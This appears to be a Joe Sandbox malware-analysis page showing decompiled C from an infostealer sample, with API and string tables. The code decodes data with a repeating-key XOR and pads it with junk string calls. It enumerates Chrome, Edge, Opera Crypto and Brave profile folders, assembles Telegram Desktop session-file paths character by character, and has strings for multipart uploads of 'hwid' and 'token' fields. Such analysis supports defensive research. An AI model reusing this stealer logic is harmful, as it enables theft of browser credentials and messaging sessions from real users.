Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Internet$lstrlen$Heap_memset$CloseHandleHttp_memmove$AllocateFileOpenProcessReadRequest$ConnectInfoOptionQuerySendSleep
String ID: "$"$"$"$----$------$------$------$------$------$200$Cont$Content-Disposition: form-data; name="$Content-Disposition: form-data; name="$Content-Disposition: form-data; name="$Content-Disposition: form-data; name="$HTTP/1.1$HTTP/1.1$POST$POST$art/for$boun$dary=$e: multip$ent-Typ$file$https://$hwid$m-data; $token$xPE
API String ID: 1014974639-458721873
Opcode ID: 7a2048015d58a7e068909e7c7ab50c647f2ae281144a7d3d722dfaf46170781c
Instruction ID: 2f20f6ab7387fa9d3abace4bc253613332ee15ec363be512e5a22fc460af000e
Opcode Fuzzy Hash: 7a2048015d58a7e068909e7c7ab50c647f2ae281144a7d3d722dfaf46170781c
Instruction Fuzzy Hash: D1127471940219BBDB24DBA0DC8DFEA7778FB48741F0109D9F609A2150EBB49AC8CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401090 Relevance: 191.0, APIs: 84, Strings: 25, Instructions: 252
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401090(void* __ecx, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12) {
				void* _v8;
				WCHAR* _t25;
				intOrPtr* _t106;
				intOrPtr _t120;
				signed int _t121;
				void* _t125;
				intOrPtr _t129;
				WCHAR* _t138;

				_t25 = RtlAllocateHeap(GetProcessHeap(), 0, 0x3a98); // executed
				_t138 = _t25;
				lstrcatW(_t138, "The");
				lstrcatW(_t138, L"British");
				lstrcatW(_t138, L"Military");
				lstrcatW(_t138, L"Mission");
				lstrcatW(_t138, L"to");
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrcatW(_t138, L"Poland");
				lstrcatW(_t138, L"was");
				lstrcatW(_t138, L"an");
				lstrcatW(_t138, L"effort");
				lstrcatW(_t138, L"by");
				lstrcatW(_t138, L"Britain");
				lstrcatW(_t138, L"to");
				lstrcatW(_t138, L"aid");
				lstrcatW(_t138, L"the");
				lstrcatW(_t138, L"nascent");
				lstrcatW(_t138, L"Second");
				lstrcatW(_t138, L"Polish");
				lstrcatW(_t138, L"Republic");
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrcatW(_t138, L"after");
				lstrcatW(_t138, L"it");
				lstrcatW(_t138, L"achieved");
				lstrcatW(_t138, L"its");
				lstrcatW(_t138, L"independence");
				lstrcatW(_t138, L"in");
				lstrcatW(_t138, L"1918");
				lstrcatW(_t138, L"at");
				lstrcatW(_t138, L"the");
				lstrcatW(_t138, L"end");
				lstrcatW(_t138, L"of");
				lstrcatW(_t138, L"the");
				lstrcatW(_t138, L"First");
				lstrcatW(_t138, L"World");
				lstrcatW(_t138, L"War");
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				_t120 = _a12;
				_v8 = LocalAlloc(0x40, _t120 + 1);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				 *((char*)(_v8 + _t120)) = 0;
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				_t121 = 0;
				if(_a12 > 0) {
					_a4 = _a4 - _v8;
					do {
						lstrlenW(_t138);
						lstrlenW(_t138);
						lstrlenW(_t138);
						lstrlenW(_t138);
						lstrlenW(_t138);
						lstrlenW(_t138);
						_t106 = _a8;
						_t125 = _t106 + 1;
						do {
							_t129 =  *_t106;
							_t106 = _t106 + 1;
						} while (_t129 != 0);
						 *(_t121 + _v8) =  *(_t121 % (_t106 - _t125) + _a8) ^  *(_a4 + _t121 + _v8);
						lstrlenW(_t138);
						lstrlenW(_t138);
						lstrlenW(_t138);
						lstrlenW(_t138);
						lstrlenW(_t138);
						lstrlenW(_t138);
						_t121 = _t121 + 1;
					} while (_t121 < _a12);
				}
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				lstrlenW(_t138);
				return _v8;
			}

0x004010a5
0x004010b1
0x004010b9
0x004010c1
0x004010c9
0x004010d1
0x004010d9
0x004010e2
0x004010e5
0x004010e8
0x004010eb
0x004010ee
0x004010f1
0x004010f9
0x00401101
0x00401109
0x00401111
0x00401119
0x00401121
0x00401129
0x00401131
0x00401139
0x00401141
0x00401149
0x00401151
0x00401159
0x0040115c
0x0040115f
0x00401162
0x00401165
0x00401168
0x0040116b
0x00401173
0x0040117b
0x00401183
0x0040118b
0x00401193
0x0040119b
0x004011a3
0x004011ab
0x004011b3
0x004011bb
0x004011c3
0x004011cb
0x004011d3
0x004011db
0x004011e3
0x004011e6
0x004011e9
0x004011ec
0x004011ef
0x004011f2
0x004011f5
0x004011f7
0x00401207
0x0040120a
0x0040120d
0x00401210
0x00401213
0x00401216
0x00401219
0x0040121f
0x00401223
0x00401226
0x00401229
0x0040122c
0x0040122f
0x00401232
0x00401234
0x00401239
0x00401241
0x00401244
0x00401245
0x00401248
0x0040124b
0x0040124e
0x00401251
0x00401254
0x00401256
0x00401259
0x00401260
0x00401260
0x00401262
0x00401263
0x00401284
0x00401286
0x00401289
0x0040128c
0x0040128f
0x00401292
0x00401295
0x00401297
0x00401298
0x00401244
0x0040129e
0x004012a1
0x004012a4
0x004012a7
0x004012aa
0x004012ad
0x004012b8

APIs

GetProcessHeap.KERNEL32(00000000,00003A98), ref: 0040109E
RtlAllocateHeap.NTDLL(00000000), ref: 004010A5
lstrcatW.KERNEL32(00000000,The), ref: 004010B9
lstrcatW.KERNEL32(00000000,British), ref: 004010C1
lstrcatW.KERNEL32(00000000,Military), ref: 004010C9
lstrcatW.KERNEL32(00000000,Mission), ref: 004010D1
lstrcatW.KERNEL32(00000000,00446274), ref: 004010D9
lstrlenW.KERNEL32(00000000), ref: 004010E2
lstrlenW.KERNEL32(00000000), ref: 004010E5
lstrlenW.KERNEL32(00000000), ref: 004010E8
lstrlenW.KERNEL32(00000000), ref: 004010EB
lstrlenW.KERNEL32(00000000), ref: 004010EE
lstrlenW.KERNEL32(00000000), ref: 004010F1
lstrcatW.KERNEL32(00000000,Poland), ref: 004010F9
lstrcatW.KERNEL32(00000000,was), ref: 00401101
lstrcatW.KERNEL32(00000000,00446294), ref: 00401109
lstrcatW.KERNEL32(00000000,effort), ref: 00401111
lstrcatW.KERNEL32(00000000,004462AC), ref: 00401119
lstrcatW.KERNEL32(00000000,Britain), ref: 00401121
lstrcatW.KERNEL32(00000000,004462C4), ref: 00401129
lstrcatW.KERNEL32(00000000,aid), ref: 00401131
lstrcatW.KERNEL32(00000000,the), ref: 00401139
lstrcatW.KERNEL32(00000000,nascent), ref: 00401141
lstrcatW.KERNEL32(00000000,Second), ref: 00401149
lstrcatW.KERNEL32(00000000,Polish), ref: 00401151
lstrcatW.KERNEL32(00000000,Republic), ref: 00401159
lstrlenW.KERNEL32(00000000), ref: 0040115C
lstrlenW.KERNEL32(00000000), ref: 0040115F
lstrlenW.KERNEL32(00000000), ref: 00401162
lstrlenW.KERNEL32(00000000), ref: 00401165
lstrlenW.KERNEL32(00000000), ref: 00401168
lstrlenW.KERNEL32(00000000), ref: 0040116B
lstrcatW.KERNEL32(00000000,after), ref: 00401173
lstrcatW.KERNEL32(00000000,0044632C), ref: 0040117B
lstrcatW.KERNEL32(00000000,achieved), ref: 00401183
lstrcatW.KERNEL32(00000000,its), ref: 0040118B
lstrcatW.KERNEL32(00000000,independence), ref: 00401193
lstrcatW.KERNEL32(00000000,0044636C), ref: 0040119B
lstrcatW.KERNEL32(00000000,1918), ref: 004011A3
lstrcatW.KERNEL32(00000000,00446380), ref: 004011AB
lstrcatW.KERNEL32(00000000,the), ref: 004011B3
lstrcatW.KERNEL32(00000000,end), ref: 004011BB
lstrcatW.KERNEL32(00000000,00446398), ref: 004011C3
lstrcatW.KERNEL32(00000000,the), ref: 004011CB
lstrcatW.KERNEL32(00000000,First), ref: 004011D3
lstrcatW.KERNEL32(00000000,World), ref: 004011DB
lstrcatW.KERNEL32(00000000,War), ref: 004011E3
lstrlenW.KERNEL32(00000000), ref: 004011E6
lstrlenW.KERNEL32(00000000), ref: 004011E9
lstrlenW.KERNEL32(00000000), ref: 004011EC
lstrlenW.KERNEL32(00000000), ref: 004011EF
lstrlenW.KERNEL32(00000000), ref: 004011F2
lstrlenW.KERNEL32(00000000), ref: 004011F5
LocalAlloc.KERNEL32(00000040,?), ref: 00401200
lstrlenW.KERNEL32(00000000), ref: 0040120A
lstrlenW.KERNEL32(00000000), ref: 0040120D
lstrlenW.KERNEL32(00000000), ref: 00401210
lstrlenW.KERNEL32(00000000), ref: 00401213
lstrlenW.KERNEL32(00000000), ref: 00401216
lstrlenW.KERNEL32(00000000), ref: 00401219
lstrlenW.KERNEL32(00000000), ref: 00401223
lstrlenW.KERNEL32(00000000), ref: 00401226
lstrlenW.KERNEL32(00000000), ref: 00401229
lstrlenW.KERNEL32(00000000), ref: 0040122C
lstrlenW.KERNEL32(00000000), ref: 0040122F
lstrlenW.KERNEL32(00000000), ref: 00401232
lstrlenW.KERNEL32(00000000), ref: 00401245
lstrlenW.KERNEL32(00000000), ref: 00401248
lstrlenW.KERNEL32(00000000), ref: 0040124B
lstrlenW.KERNEL32(00000000), ref: 0040124E
lstrlenW.KERNEL32(00000000), ref: 00401251
lstrlenW.KERNEL32(00000000), ref: 00401254
lstrlenW.KERNEL32(00000000), ref: 00401286
lstrlenW.KERNEL32(00000000), ref: 00401289
lstrlenW.KERNEL32(00000000), ref: 0040128C
lstrlenW.KERNEL32(00000000), ref: 0040128F
lstrlenW.KERNEL32(00000000), ref: 00401292
lstrlenW.KERNEL32(00000000), ref: 00401295
lstrlenW.KERNEL32(00000000), ref: 0040129E
lstrlenW.KERNEL32(00000000), ref: 004012A1
lstrlenW.KERNEL32(00000000), ref: 004012A4
lstrlenW.KERNEL32(00000000), ref: 004012A7
lstrlenW.KERNEL32(00000000), ref: 004012AA
lstrlenW.KERNEL32(00000000), ref: 004012AD

Strings

achieved, xrefs: 0040117D
Military, xrefs: 004010C3
the, xrefs: 004011C5
British, xrefs: 004010BB
was, xrefs: 004010FB
Poland, xrefs: 004010F3
First, xrefs: 004011CD
the, xrefs: 00401133
its, xrefs: 00401185
1918, xrefs: 0040119D
aid, xrefs: 0040112B
end, xrefs: 004011B5
the, xrefs: 004011AD
The, xrefs: 004010B3
independence, xrefs: 0040118D
World, xrefs: 004011D5
after, xrefs: 0040116D
War, xrefs: 004011DD
Britain, xrefs: 0040111B
nascent, xrefs: 0040113B
Polish, xrefs: 0040114B
effort, xrefs: 0040110B
Mission, xrefs: 004010CB
Second, xrefs: 00401143
Republic, xrefs: 00401153

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcat$Heap$AllocAllocateLocalProcess
String ID: 1918$Britain$British$First$Military$Mission$Poland$Polish$Republic$Second$The$War$World$achieved$after$aid$effort$end$independence$its$nascent$the$the$the$was
API String ID: 869232931-4161843267
Opcode ID: d9ddc79a82b97d1a5260590bc06149e01b2c8af0a4448aec27df1485f8b7e503
Instruction ID: 7ce2ab0e97ea7230f176da8167ff49ccf6bfd4f7790ea25d71d74115b98b3304
Opcode Fuzzy Hash: d9ddc79a82b97d1a5260590bc06149e01b2c8af0a4448aec27df1485f8b7e503
Instruction Fuzzy Hash: ED51B924243EBC7A66227B764C89EEF6A5CDEC77487120052F504621418FAD9F0789FF

Uniqueness

Uniqueness Score: -1.00%

Function 0041E430 Relevance: 181.0, APIs: 50, Strings: 53, Instructions: 746
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E0041E430(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v280;
				char _v540;
				char _v800;
				char _v100800;
				intOrPtr _v100808;
				char _v100812;
				char _v100828;
				intOrPtr _v100836;
				char _v100840;
				char _v100856;
				intOrPtr _v100864;
				char _v100868;
				char _v100884;
				intOrPtr _v100892;
				char _v100896;
				char _v100912;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t185;
				signed int _t186;
				intOrPtr _t196;
				intOrPtr _t198;
				intOrPtr _t200;
				intOrPtr _t202;
				intOrPtr _t204;
				intOrPtr _t206;
				intOrPtr _t208;
				intOrPtr _t210;
				intOrPtr _t212;
				intOrPtr _t214;
				intOrPtr _t216;
				intOrPtr _t218;
				intOrPtr _t220;
				intOrPtr _t222;
				intOrPtr _t224;
				intOrPtr _t226;
				intOrPtr _t228;
				intOrPtr _t234;
				intOrPtr _t236;
				intOrPtr _t238;
				intOrPtr _t240;
				intOrPtr _t242;
				void* _t243;
				void* _t245;
				intOrPtr* _t317;
				intOrPtr* _t322;
				intOrPtr* _t326;
				intOrPtr* _t329;
				intOrPtr _t352;
				void* _t357;
				intOrPtr _t360;
				intOrPtr _t362;
				intOrPtr _t364;
				intOrPtr _t367;
				intOrPtr _t410;
				intOrPtr _t411;
				intOrPtr _t461;
				intOrPtr _t464;
				intOrPtr _t465;
				intOrPtr _t466;
				intOrPtr _t467;
				intOrPtr _t469;
				intOrPtr _t470;
				intOrPtr _t471;
				intOrPtr _t472;
				intOrPtr _t473;
				intOrPtr _t474;
				intOrPtr _t475;
				intOrPtr _t476;
				intOrPtr _t477;
				intOrPtr _t478;
				intOrPtr _t479;
				intOrPtr _t480;
				intOrPtr _t481;
				intOrPtr _t482;
				intOrPtr _t484;
				intOrPtr _t485;
				intOrPtr _t486;
				intOrPtr _t487;
				void* _t518;
				void* _t519;
				intOrPtr* _t522;
				void* _t523;
				signed int _t524;
				void* _t525;
				void* _t526;
				void* _t529;
				void* _t530;
				void* _t531;
				void* _t532;

				_t532 = __eflags;
				_push(0xffffffff);
				_push(0x43fbc8);
				_push( *[fs:0x0]);
				L0042BF80(0x18a20);
				_t185 =  *0x4556f0; // 0x1a5a77c2
				_t186 = _t185 ^ _t524;
				_v20 = _t186;
				_push(_t518);
				_push(_t186);
				 *[fs:0x0] =  &_v16;
				_t522 = __ecx;
				L0042AC10( &_v100800, 0, 0x186a0);
				 *((intOrPtr*)(_t522 + 0xc)) = 0;
				 *((intOrPtr*)(_t522 + 0x10)) = 0;
				 *((intOrPtr*)(_t522 + 8)) = 0;
				 *((intOrPtr*)(_t522 + 0x18)) = 0;
				 *((intOrPtr*)(_t522 + 0x14)) = 0;
				 *((intOrPtr*)(_t522 + 0x1c)) = 0;
				E00418460(_a8, _t518, _t532, _a4, _a8);
				_t360 =  *0x457230; // 0x43b4558
				_t464 =  *0x457040; // 0x25382f0
				_t526 = _t525 + 0x14;
				E004182B0(_t522, _t532, _t464, _t360,  &_v100800);
				_t362 =  *0x456fe4; // 0x43b4708
				_t465 =  *0x456cac; // 0x259e608
				E004182B0(_t522, _t532, _t465, _t362,  &_v100800);
				_t364 =  *0x45715c; // 0x43f7f40
				_t466 =  *0x456ec8; // 0x4372068
				_t196 =  *0x457124; // 0x43f6880
				E0041CBB0(_t522, _t532, _t196, _t466, _t364,  &_v100800, 0);
				_t467 =  *0x456bb8; // 0x43f6a20
				_t198 =  *0x456ef0; // 0x4372098
				_t367 =  *0x457124; // 0x43f6880
				E0041CBB0(_t522, _t532, _t367, _t198, _t467,  &_v100800, 0);
				_t200 =  *0x457124; // 0x43f6880
				E0041CBB0(_t522, _t532, _t200, "Opera Crypto", "Opera Crypto Stable",  &_v100800, 1);
				_t469 =  *0x456f70; // 0x43b4540
				_t202 =  *0x456f04; // 0x2538318
				E0041C910(_t522, _t202, _t469,  &_v100800, "chrome.exe");
				_t470 =  *0x456d08; // 0x43b46c0
				_t204 =  *0x4571fc; // 0x2532be0
				E0041C910(_t522, _t204, _t470,  &_v100800, "chrome.exe");
				_t471 =  *0x45708c; // 0x4372178
				_t206 =  *0x456ce8; // 0x2532c00
				E0041C910(_t522, _t206, _t471,  &_v100800, "chrome.exe");
				_t472 =  *0x456f74; // 0x4372108
				_t208 =  *0x456fc4; // 0x25327a0
				E0041C910(_t522, _t208, _t472,  &_v100800, "chrome.exe");
				_t473 =  *0x456f9c; // 0x4372058
				_t210 =  *0x457370; // 0x25324e0
				E0041C910(_t522, _t210, _t473,  &_v100800, "chrome.exe");
				_t474 =  *0x457278; // 0x43b4480
				_t212 =  *0x456b64; // 0x2538200
				E0041C910(_t522, _t212, _t474,  &_v100800, "chrome.exe");
				_t475 =  *0x4571a0; // 0x2532580
				_t214 =  *0x456f3c; // 0x259e3f0
				E0041C910(_t522, _t214, _t475,  &_v100800, "chrome.exe");
				_t476 =  *0x456b70; // 0x4372038
				_t216 =  *0x457168; // 0x2538430
				E0041C910(_t522, _t216, _t476,  &_v100800, "chrome.exe");
				_t477 =  *0x456f38; // 0x43b4720
				_t218 =  *0x456d28; // 0x43721b8
				E0041C910(_t522, _t218, _t477,  &_v100800, "chrome.exe");
				_t478 =  *0x456ca4; // 0x43b44c8
				_t220 =  *0x456d48; // 0x2532500
				E0041C910(_t522, _t220, _t478,  &_v100800, "chrome.exe");
				_t479 =  *0x456f2c; // 0x4372048
				_t222 =  *0x456ff0; // 0x2532840
				E0041C910(_t522, _t222, _t479,  &_v100800, "chrome.exe");
				_t480 =  *0x4572ac; // 0x43b46d8
				_t224 =  *0x456b90; // 0x2532540
				E0041C910(_t522, _t224, _t480,  &_v100800, "chrome.exe");
				_t481 =  *0x456bcc; // 0x43b4450
				_t226 =  *0x456c80; // 0x2532520
				E0041C910(_t522, _t226, _t481,  &_v100800, "chrome.exe");
				_t482 =  *0x457378; // 0x43b44f8
				_t228 =  *0x4570f8; // 0x2538598
				E0041C910(_t522, _t228, _t482,  &_v100800, "msedge.exe"); // executed
				E0041C910(_t522, "\\Microsoft\\Edge SxS\\User Data\\", "Microsoft Edge Canary",  &_v100800, "msedge.exe"); // executed
				E0041C910(_t522, "\\Microsoft\\Edge Beta\\User Data\\", "Microsoft Edge Beta",  &_v100800, "msedge.exe"); // executed
				E0041C910(_t522, "\\Microsoft\\Edge Dev\\User Data\\", "Microsoft Edge Dev",  &_v100800, "msedge.exe");
				_t484 =  *0x456c60; // 0x43b4438
				_t234 =  *0x457118; // 0x2538340
				E0041C910(_t522, _t234, _t484,  &_v100800, "chrome.exe");
				_t485 =  *0x457248; // 0x43b4570
				_t236 =  *0x456b3c; // 0x25384a8
				E0041C910(_t522, _t236, _t485,  &_v100800, "chrome.exe");
				_t486 =  *0x456be8; // 0x43f6b20
				_t238 =  *0x4571c4; // 0x2538778
				E0041C910(_t522, _t238, _t486,  &_v100800, "browser.exe"); // executed
				_t487 =  *0x456dd0; // 0x4372348
				_t240 =  *0x456bac; // 0x43f7138
				E0041C910(_t522, _t240, _t487,  &_v100800, "brave.exe"); // executed
				_t533 =  *_t522;
				if( *_t522 != 0) {
					E0041DD30(_t522, _t533); // executed
					_t534 =  *_t522;
					if( *_t522 != 0) {
						E0041C310(_t522,  &_v100800);
						_t352 =  *0x456d44; // 0x43f7fe8
						_t461 =  *0x456fd4; // 0x43f6c00
						E004182B0(_t522, _t534, _t461, _t352,  &_v100800); // executed
						E0041D230(_t534,  &_v100800); // executed
						_t526 = _t526 + 4;
					}
				}
				if( *((intOrPtr*)(_t522 + 5)) != 0) {
					L0042AC10( &_v280, 0, 0x104);
					L0042AC10( &_v800, 0, 0x104);
					L0042AC10( &_v540, 0, 0x104);
					 *0x468038( &_v280, E00420E70(0, _t518, _t522, 0x1a));
					 *0x468038( &_v280, "\\");
					 *0x468038( &_v280, "T");
					 *0x468038( &_v280, "e");
					 *0x468038( &_v280, "l");
					 *0x468038( &_v280, "e");
					 *0x468038( &_v280, "g");
					 *0x468038( &_v280, "r");
					 *0x468038( &_v280, "a");
					 *0x468038( &_v280, "m");
					 *0x468038( &_v280, " ");
					 *0x468038( &_v280, "D");
					 *0x468038( &_v280, "e");
					 *0x468038( &_v280, "s");
					 *0x468038( &_v280, "k");
					 *0x468038( &_v280, "t");
					 *0x468038( &_v280, "o");
					 *0x468038( &_v280, "p");
					 *0x468038( &_v280, "\\");
					 *0x468038( &_v800, "k");
					 *0x468038( &_v800, "e");
					 *0x468038( &_v800, "y");
					 *0x468038( &_v800, "_");
					 *0x468038( &_v800, "d");
					 *0x468038( &_v800, "a");
					 *0x468038( &_v800, "t");
					 *0x468038( &_v800, "a");
					 *0x468038( &_v800, "s");
					 *0x468038( &_v540, "D");
					 *0x468038( &_v540, "8");
					 *0x468038( &_v540, "7");
					 *0x468038( &_v540, "7");
					 *0x468038( &_v540, "F");
					 *0x468038( &_v540, "7");
					 *0x468038( &_v540, "8");
					 *0x468038( &_v540, "3");
					 *0x468038( &_v540, "D");
					 *0x468038( &_v540, "5");
					 *0x468038( &_v540, "D");
					 *0x468038( &_v540, "3");
					 *0x468038( &_v540, "E");
					 *0x468038( &_v540, "F");
					 *0x468038( &_v540, "8");
					 *0x468038( &_v540, "C");
					 *0x468038( &_v540, "*");
					E00416BB0(_t522, 0x44b79b,  &_v280,  &_v800, "Telegram"); // executed
					E00416BB0(_t522, 0x44b79f,  &_v280,  &_v540, "Telegram"); // executed
					_v100808 = 0xf;
					_v100812 = 0;
					_v100828 = 0;
					E00405620( &_v100828, "p*", 2);
					_v8 = 0;
					_t317 = E00405810( &_v100828,  &_v100856, "ma",  &_v100828);
					_t529 = _t526 + 0x34;
					_v8 = 1;
					if( *((intOrPtr*)(_t317 + 0x14)) >= 0x10) {
						_t317 =  *_t317;
					}
					E00416BB0(_t522, 0x44b7a2,  &_v280, _t317, "Telegram");
					if(_v100836 >= 0x10) {
						_push(_v100856);
						L0042ABAB();
						_t529 = _t529 + 4;
					}
					_v100836 = 0xf;
					_v100840 = 0;
					_v100856 = 0;
					_v8 = 0xffffffff;
					if(_v100808 >= 0x10) {
						_push(_v100828);
						L0042ABAB();
						_t529 = _t529 + 4;
					}
					_v100808 = 0xf;
					_v100812 = 0;
					_v100828 = 0;
					E00405620( &_v100828, "BC10B77*", 8);
					_v8 = 2;
					_t322 = E00405810( &_v100856,  &_v100856, "A7FDF864F",  &_v100828);
					_t530 = _t529 + 0xc;
					_v8 = 3;
					if( *((intOrPtr*)(_t322 + 0x14)) >= 0x10) {
						_t322 =  *_t322;
					}
					E00416BB0(_t522, 0x44b7a3,  &_v280, _t322, "Telegram");
					if(_v100836 >= 0x10) {
						_push(_v100856);
						L0042ABAB();
						_t530 = _t530 + 4;
					}
					_v100836 = 0xf;
					_v100840 = 0;
					_v100856 = 0;
					_v8 = 0xffffffff;
					if(_v100808 >= 0x10) {
						_push(_v100828);
						L0042ABAB();
						_t530 = _t530 + 4;
					}
					_v100808 = 0xf;
					_v100812 = 0;
					_v100828 = 0;
					E00405620( &_v100828, "A6F891F2*", 9);
					_v8 = 4;
					_t326 = E00405810( &_v100828,  &_v100856, "A92DAA6E",  &_v100828);
					_t531 = _t530 + 0xc;
					_v8 = 5;
					if( *((intOrPtr*)(_t326 + 0x14)) >= 0x10) {
						_t326 =  *_t326;
					}
					E00416BB0(_t522, 0x44b7a7,  &_v280, _t326, "Telegram");
					if(_v100836 >= 0x10) {
						_push(_v100856);
						L0042ABAB();
						_t531 = _t531 + 4;
					}
					_v100836 = 0xf;
					_v100840 = 0;
					_v100856 = 0;
					_v8 = 0xffffffff;
					if(_v100808 >= 0x10) {
						_push(_v100828);
						L0042ABAB();
						_t531 = _t531 + 4;
					}
					_v100864 = 0xf;
					_v100868 = 0;
					_v100884 = 0;
					E00405620( &_v100884, "C461824F*", 9);
					_v8 = 6;
					_t329 = E00405810( &_v100884,  &_v100912, "F8806DD0",  &_v100884);
					_t526 = _t531 + 0xc;
					_v8 = 7;
					if( *((intOrPtr*)(_t329 + 0x14)) >= 0x10) {
						_t329 =  *_t329;
					}
					E00416BB0(_t522, 0x44b7ab,  &_v280, _t329, "Telegram");
					if(_v100892 >= 0x10) {
						_push(_v100912);
						L0042ABAB();
						_t526 = _t526 + 4;
					}
					_v100892 = 0xf;
					_v100896 = 0;
					_v100912 = 0;
					_v8 = 0xffffffff;
					if(_v100864 >= 0x10) {
						_push(_v100884);
						L0042ABAB();
						_t526 = _t526 + 4;
					}
					_v100864 = 0xf;
					_v100868 = 0;
					_v100884 = 0;
					E00416BB0(_t522, 0x44b7ae,  &_v280, "countries", "Telegram");
					E00416BB0(_t522, 0x44b7af,  &_v280, "prefix", "Telegram");
					E00416BB0(_t522, 0x44b7b2,  &_v280, "settingss", "Telegram");
					E00416BB0(_t522, 0x44b7b3,  &_v280, "shortcuts-custom.json", "Telegram");
					E00416BB0(_t522, 0x44b7b7,  &_v280, "shortcuts-default.json", "Telegram");
					E00416BB0(_t522, 0x44b7ba,  &_v280, "usertag", "Telegram");
				}
				_t242 =  *0x45757c; // 0x0
				 *((intOrPtr*)(_t522 + 0xc)) = _t242;
				_t410 =  *0x457588; // 0x0
				 *((intOrPtr*)(_t522 + 0x10)) = _t410;
				_t243 =  *0x467f30( &_v100800);
				_t411 =  *0x4571e0; // 0x43f7f58
				_t245 = E00429E90( *((intOrPtr*)(_t522 + 0x20)), _t411,  &_v100800, _t243);
				 *[fs:0x0] = _v16;
				_pop(_t519);
				_pop(_t523);
				_pop(_t357);
				return L0042AC8A(_t245, _t357, _v20 ^ _t524,  *((intOrPtr*)(_t522 + 0x20)), _t519, _t523);
			}

0x0041e430
0x0041e433
0x0041e435
0x0041e440
0x0041e446
0x0041e44b
0x0041e450
0x0041e452
0x0041e457
0x0041e458
0x0041e45c
0x0041e471
0x0041e473
0x0041e480
0x0041e483
0x0041e486
0x0041e489
0x0041e48c
0x0041e48f
0x0041e492
0x0041e497
0x0041e49d
0x0041e4a3
0x0041e4b1
0x0041e4b6
0x0041e4bc
0x0041e4cd
0x0041e4d2
0x0041e4d8
0x0041e4e6
0x0041e4f0
0x0041e4f5
0x0041e4fb
0x0041e508
0x0041e513
0x0041e518
0x0041e533
0x0041e538
0x0041e53e
0x0041e553
0x0041e558
0x0041e55e
0x0041e573
0x0041e578
0x0041e57e
0x0041e593
0x0041e598
0x0041e59e
0x0041e5b3
0x0041e5b8
0x0041e5be
0x0041e5d3
0x0041e5d8
0x0041e5de
0x0041e5f3
0x0041e5f8
0x0041e5fe
0x0041e613
0x0041e618
0x0041e61e
0x0041e633
0x0041e638
0x0041e63e
0x0041e653
0x0041e658
0x0041e65e
0x0041e673
0x0041e678
0x0041e67e
0x0041e693
0x0041e698
0x0041e69e
0x0041e6b3
0x0041e6b8
0x0041e6be
0x0041e6d3
0x0041e6d8
0x0041e6de
0x0041e6f3
0x0041e710
0x0041e72d
0x0041e74a
0x0041e74f
0x0041e755
0x0041e76a
0x0041e76f
0x0041e775
0x0041e78a
0x0041e78f
0x0041e795
0x0041e7aa
0x0041e7bb
0x0041e7c1
0x0041e7ca
0x0041e7cf
0x0041e7d1
0x0041e7d5
0x0041e7da
0x0041e7dc
0x0041e7e7
0x0041e7ec
0x0041e7f1
0x0041e802
0x0041e80e
0x0041e813
0x0041e813
0x0041e7dc
0x0041e819
0x0041e82c
0x0041e83e
0x0041e850
0x0041e867
0x0041e879
0x0041e88b
0x0041e89d
0x0041e8af
0x0041e8c1
0x0041e8d3
0x0041e8e5
0x0041e8f7
0x0041e909
0x0041e91b
0x0041e92d
0x0041e93f
0x0041e951
0x0041e963
0x0041e975
0x0041e987
0x0041e999
0x0041e9ab
0x0041e9bd
0x0041e9cf
0x0041e9e1
0x0041e9f3
0x0041ea05
0x0041ea17
0x0041ea29
0x0041ea3b
0x0041ea4d
0x0041ea5f
0x0041ea71
0x0041ea83
0x0041ea95
0x0041eaa7
0x0041eab9
0x0041eacb
0x0041eadd
0x0041eaef
0x0041eb01
0x0041eb13
0x0041eb25
0x0041eb37
0x0041eb49
0x0041eb5b
0x0041eb6d
0x0041eb7f
0x0041eb9f
0x0041ebbe
0x0041ebd0
0x0041ebda
0x0041ebe0
0x0041ebe6
0x0041ebfe
0x0041ec01
0x0041ec06
0x0041ec0e
0x0041ec15
0x0041ec17
0x0041ec17
0x0041ec2d
0x0041ec38
0x0041ec40
0x0041ec41
0x0041ec46
0x0041ec46
0x0041ec49
0x0041ec53
0x0041ec59
0x0041ec5f
0x0041ec6c
0x0041ec74
0x0041ec75
0x0041ec7a
0x0041ec7a
0x0041ec8a
0x0041ec94
0x0041ec9a
0x0041eca0
0x0041ecb8
0x0041ecbf
0x0041ecc4
0x0041ecc7
0x0041ecce
0x0041ecd0
0x0041ecd0
0x0041ece6
0x0041ecf1
0x0041ecf9
0x0041ecfa
0x0041ecff
0x0041ecff
0x0041ed02
0x0041ed0c
0x0041ed12
0x0041ed18
0x0041ed25
